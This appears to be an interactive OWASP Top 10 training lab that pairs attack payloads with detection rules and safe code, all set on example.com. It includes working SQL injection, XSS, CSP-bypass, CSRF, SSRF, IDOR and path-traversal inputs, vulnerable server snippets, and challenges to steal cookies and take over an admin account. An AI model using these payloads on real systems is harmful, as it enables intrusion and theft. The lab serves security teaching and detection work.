Web Application Vulnerability Lab

MicroSim 40 -- Interactive OWASP Top 10 Exploitation & Detection

Difficulty: Level 1-5 (Progressive) Duration: 60-90 min Chapters: 16, 17, 42
This is a simulated environment. No real systems are attacked. All data is 100% synthetic. Every vulnerability is paired with detection and prevention guidance.
Web Security OWASP Top 10 SQL Injection XSS CSRF SSRF IDOR Penetration Testing
Overall Progress:
0%
https://shop.example.com/login

SecureShop Login

Welcome back! Please sign in to continue.

Try entering a single quote (') in the username field. What error do you get? Now try: ' OR 1=1 --
Detection & Analysis Panel

Executed SQL Query

-- Enter credentials and submit to see the query

How It Works

Error-based SQL injection exploits unsanitized input concatenated directly into SQL queries. The attacker breaks the query syntax and appends logic that always evaluates to TRUE.

WAF Detection Rule

SecRule ARGS "@rx (?i)(\b(or|and)\b\s+\d+\s*=\s*\d+|'\s*(or|and)\s+'|--\s*$)" \ "id:1001,phase:2,deny,msg:'SQL Injection Attempt'"

KQL Detection Query

W3CIISLog | where csUriQuery has_any ("' OR", "1=1", "--", "UNION") | project TimeGenerated, cIP, csUriStem, csUriQuery | order by TimeGenerated desc
https://shop.example.com/products?search=

SecureShop Product Search

Step 1: Find column count with ' ORDER BY 3-- (works) then ' ORDER BY 4-- (fails = 3 columns).
Step 2: ' UNION SELECT 1,2,3-- to see which columns display.
Step 3: ' UNION SELECT username,password,email FROM users--
Detection & Analysis Panel

Executed SQL Query

-- Enter search term to see the query

How It Works

UNION-based SQLi appends a second SELECT query to extract data from other tables. The attacker must first determine the number of columns in the original query.

Database Schema

TABLE products (id INT, name VARCHAR, price DECIMAL) TABLE users (username VARCHAR, password VARCHAR, email VARCHAR) TABLE orders (order_id INT, user_id INT, total DECIMAL)

KQL Detection Query

W3CIISLog | where csUriQuery matches regex @"(?i)union\s+(all\s+)?select" | extend AttackType = "UNION SQLi" | project TimeGenerated, cIP, csUriQuery
https://shop.example.com/account/check

Account Lookup

Check if a username exists in our system.

The app only returns "Found" or "Not Found". Use boolean conditions to extract data one character at a time:
admin' AND SUBSTRING(password,1,1)='S'--
The admin password starts with 'S'. Try each position.
Extracted Password Characters:
Detection & Analysis Panel

Executed SQL Query

-- Enter input to see the query

How It Works

Blind boolean SQLi works when the application does not return SQL errors or data. The attacker asks true/false questions, using the difference in response to infer data one bit at a time.

Extraction Progress

KQL Detection Query

W3CIISLog | where csUriQuery matches regex @"(?i)substring|ascii|char\(" | summarize RequestCount = count() by cIP, bin(TimeGenerated, 1m) | where RequestCount > 50 // High volume of SUBSTRING queries = blind SQLi extraction
https://shop.example.com/api/v1/status

API Health Check

Enter a service ID to check availability. Response always returns "OK".

The response is always "OK" with no visible difference. Use time delays:
1; IF (SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='S') WAITFOR DELAY '0:0:5'--
If the response takes ~5 seconds, the character is correct.
Response Time:
-- ms
Extracted Characters:
Detection & Analysis Panel

Executed SQL Query

-- Enter input to see the query

How It Works

Time-based blind SQLi is the stealthiest form. The attacker uses conditional time delays (WAITFOR DELAY, SLEEP, BENCHMARK) to infer data. If the condition is true, the response is delayed.

KQL Detection Query

W3CIISLog | extend ResponseTimeMs = timetaken | where ResponseTimeMs > 4000 | where csUriQuery has_any ("WAITFOR", "SLEEP", "BENCHMARK") | summarize SlowRequests=count() by cIP, bin(TimeGenerated,5m) | where SlowRequests > 10 // Anomalous slow responses with delay keywords
https://shop.example.com/search?q=

SecureShop Search

The search term is reflected directly into the HTML. Try: <script>alert('XSS')</script> or <img src=x onerror=alert(1)>
Rendered HTML Output:
-- Submit a search to see rendered output
Detection & Analysis Panel

Server Response (Source)

-- Submit a search to see source

How It Works

Reflected XSS occurs when user input is echoed back in the HTML response without encoding. The payload executes in the victim's browser when they click a crafted link.

WAF Detection Rule

SecRule ARGS "@rx (?i)(<script|javascript:|on\w+=)" \ "id:2001,phase:2,deny,msg:'Reflected XSS Attempt'"

Prevention

// Always encode output function escapeHtml(str) { return str.replace(/&/g,'&amp;') .replace(/</g,'&lt;') .replace(/>/g,'&gt;') .replace(/"/g,'&quot;'); }
https://shop.example.com/product/1/reviews

Product Reviews

jsmith
Great firewall product! Works exactly as described.
analyst
Easy to deploy. Recommend for any SOC team.

Add a Review

Your comment is stored and displayed to all users without sanitization. Try: <img src=x onerror="document.title='Hacked!'"> or <script>document.cookie</script>
Detection & Analysis Panel

Stored Payload

-- Post a review to see stored data

How It Works

Stored XSS persists in the database. Every user who views the page executes the payload. This is more dangerous than reflected XSS because it does not require the victim to click a link.

Content Security Policy

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; // Blocks inline scripts even if injected

KQL Detection

AppRequests | where Url has "/reviews" | where RequestBody matches regex @"(?i)<script|onerror|onload" | project TimeGenerated, ClientIP, RequestBody
https://shop.example.com/page#welcome

SecureShop Dynamic Page

This page reads the URL fragment to display content.

The JS reads location.hash and injects it into innerHTML. Try: <img src=x onerror="alert('DOM XSS')"> or <svg onload=alert(1)>
Page Content (innerHTML):
Welcome to SecureShop!
Detection & Analysis Panel

Vulnerable JavaScript Code

// VULNERABLE: reads fragment, writes to DOM unsanitized var fragment = location.hash.substring(1); document.getElementById('content').innerHTML = fragment; // SAFE: use textContent instead document.getElementById('content').textContent = fragment;

How It Works

DOM-based XSS never reaches the server. The payload is in the URL fragment (#) or other client-side source. JavaScript reads it and writes it to the DOM unsafely (innerHTML). Since the server never sees the payload, server-side WAFs cannot detect it.

Client-Side Detection

// MutationObserver to detect suspicious DOM changes const observer = new MutationObserver((mutations) => { mutations.forEach(m => { if (m.addedNodes.length) { m.addedNodes.forEach(n => { if (n.tagName === 'SCRIPT' || n.tagName === 'IMG') reportViolation(n.outerHTML); }); } }); }); observer.observe(document.body, {childList:true, subtree:true});
https://shop.example.com/feedback

Submit Feedback

Active CSP: script-src 'self' https://cdn.example.com; object-src 'none';

This page has a Content Security Policy. Inline scripts are blocked. Can you find a bypass?

The CSP allows scripts from cdn.example.com. That CDN hosts a JSONP endpoint:
<script src="https://cdn.example.com/api/jsonp?callback=alert"></script>
Also try: <base href="https://cdn.example.com"> combined with a relative script path.
CSP Evaluation Log:
-- Submit feedback to see CSP evaluation
Detection & Analysis Panel

CSP Header

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self';

How It Works

CSP bypass exploits overly permissive allowlists. If a trusted domain hosts JSONP endpoints, Angular libraries, or other script gadgets, attackers can load those to execute arbitrary code.

Common CSP Bypasses

// 1. JSONP callback abuse <script src="https://cdn.example.com/jsonp?cb=alert(1)//"> // 2. AngularJS sandbox escape (if CDN hosts Angular) <div ng-app>{{constructor.constructor('alert(1)')()}} // 3. Base tag hijack (if base-uri not restricted) <base href="https://evil.example.com"> <script src="/payload.js">

CSP Violation Report (Detection)

SecurityEvent | where EventType == "CSPViolation" | where BlockedURI !has "self" | summarize Violations=count() by DocumentURI, BlockedURI | order by Violations desc
https://bank.example.com/transfer

ExampleBank - Transfer Funds

Logged in as: jsmith | Balance: $12,450.00

Click "Simulate Attacker Page" to see how a malicious site auto-submits a hidden form. Then enable CSRF token protection and try again.
Detection & Analysis Panel

Attacker's Malicious Page

<!-- evil.example.com/free-prize.html --> <html><body onload="document.forms[0].submit()"> <form action="https://bank.example.com/transfer" method="POST"> <input type="hidden" name="to" value="ATTACKER-ACCT"> <input type="hidden" name="amount" value="5000"> </form> </body></html>

Prevention

// 1. CSRF Token (server-generated, per-session) <input type="hidden" name="csrf_token" value="a8f3b9c1e7d2..."> // 2. SameSite Cookie attribute Set-Cookie: session=abc; SameSite=Strict; Secure // 3. Verify Referer/Origin header if (req.headers.origin !== 'https://bank.example.com') return res.status(403).send('CSRF rejected');

KQL Detection

W3CIISLog | where csMethod == "POST" | where csReferer !startswith "https://bank.example.com" | where csUriStem has "/transfer" | project TimeGenerated, cIP, csReferer
https://app.example.com/preview

URL Preview Tool

Enter a URL to fetch and preview its content.

Try fetching internal resources:
http://169.254.169.254/latest/meta-data/ (AWS metadata)
http://192.168.1.1/admin (internal admin panel)
http://127.0.0.1:6379/ (internal Redis)
Detection & Analysis Panel

Server-Side Code (Vulnerable)

// VULNERABLE: No URL validation app.get('/preview', (req, res) => { const url = req.query.url; fetch(url).then(r => r.text()) .then(body => res.send(body)); }); // SAFE: Allowlist + block internal IPs const BLOCKED = [/^10\./, /^172\.(1[6-9]|2|3[01])\./, /^192\.168\./, /^169\.254\./, /^127\./]; function isAllowed(url) { const host = new URL(url).hostname; const ip = dns.resolve(host); return !BLOCKED.some(r => r.test(ip)); }

Prevention

1. URL allowlisting (only permit known-good domains)
2. Block RFC 1918 and link-local IPs
3. Disable HTTP redirects (prevent rebinding)
4. Use a dedicated egress proxy with network-level restrictions

KQL Detection

AppRequests | where Url has "/preview" | where RequestBody has_any( "169.254", "127.0.0.1", "192.168", "10.") | project TimeGenerated, ClientIP, RequestBody
https://app.example.com/api/user/1002

User Profile

Logged in as: jsmith (ID: 1002)

You are user 1002. Try changing the ID to 1001 (admin) or 1003 (analyst). The server does not verify that you own the requested resource.
Detection & Analysis Panel

Vulnerable API Code

// VULNERABLE: No authorization check app.get('/api/user/:id', (req, res) => { const user = db.findUser(req.params.id); res.json(user); // Returns ANY user's data }); // SAFE: Verify ownership app.get('/api/user/:id', authMiddleware, (req, res) => { if (req.params.id !== req.session.userId && req.session.role !== 'admin') return res.status(403).json({error:'Forbidden'}); const user = db.findUser(req.params.id); res.json(user); });

KQL Detection

AppRequests | where Url matches regex @"/api/user/\d+" | extend RequestedId = extract(@"/user/(\d+)", 1, Url) | extend SessionUserId = tostring(Properties.userId) | where RequestedId != SessionUserId | summarize IDORAttempts=count() by ClientIP, SessionUserId
https://app.example.com/download?file=report.pdf

Document Download

Download your documents from the server.

Try path traversal sequences:
../../../etc/passwd
..\..\windows\system32\drivers\etc\hosts
....//....//etc/passwd (double encoding bypass)
Detection & Analysis Panel

Vulnerable Server Code

// VULNERABLE: Direct path concatenation app.get('/download', (req, res) => { const filepath = '/var/www/docs/' + req.query.file; res.sendFile(filepath); }); // SAFE: Resolve and validate app.get('/download', (req, res) => { const base = '/var/www/docs/'; const filepath = path.resolve(base, req.query.file); if (!filepath.startsWith(base)) return res.status(403).send('Access denied'); res.sendFile(filepath); });

Simulated File System

/var/www/docs/ report.pdf invoice.pdf quarterly.xlsx /etc/ passwd shadow (permission denied) hosts /var/www/config/ database.yml (DB credentials)

KQL Detection

W3CIISLog | where csUriQuery matches regex @"\.\.[/\\]" | extend TraversalDepth = countof(csUriQuery, "..") | project TimeGenerated, cIP, csUriQuery, TraversalDepth | where TraversalDepth > 1
Total Score
0
Complete challenges to earn points
Challenge 1: Login Bypass
Beginner | Time Limit: 3:00 | Points: 100
Use SQL injection to bypass the login form and access the admin dashboard. Find the hidden flag.
Challenge 2: Data Exfiltration
Intermediate | Time Limit: 5:00 | Points: 200
Use UNION-based SQL injection to extract all usernames, passwords, and emails from the users table.
Challenge 3: XSS Cookie Theft
Intermediate | Time Limit: 3:00 | Points: 200
Inject a stored XSS payload in the review form that captures the session cookie and sends it to an attacker server.
Challenge 4: Chained Attack
Advanced | Time Limit: 7:00 | Points: 350
Chain SSRF to access internal API, then use IDOR to read the admin profile, and extract the secret API key.
Challenge 5: Full Compromise
Expert | Time Limit: 10:00 | Points: 500
Combine SQL injection + stored XSS + CSRF to take over the admin account. Extract the admin password via SQLi, plant XSS to steal tokens, then forge a CSRF transfer.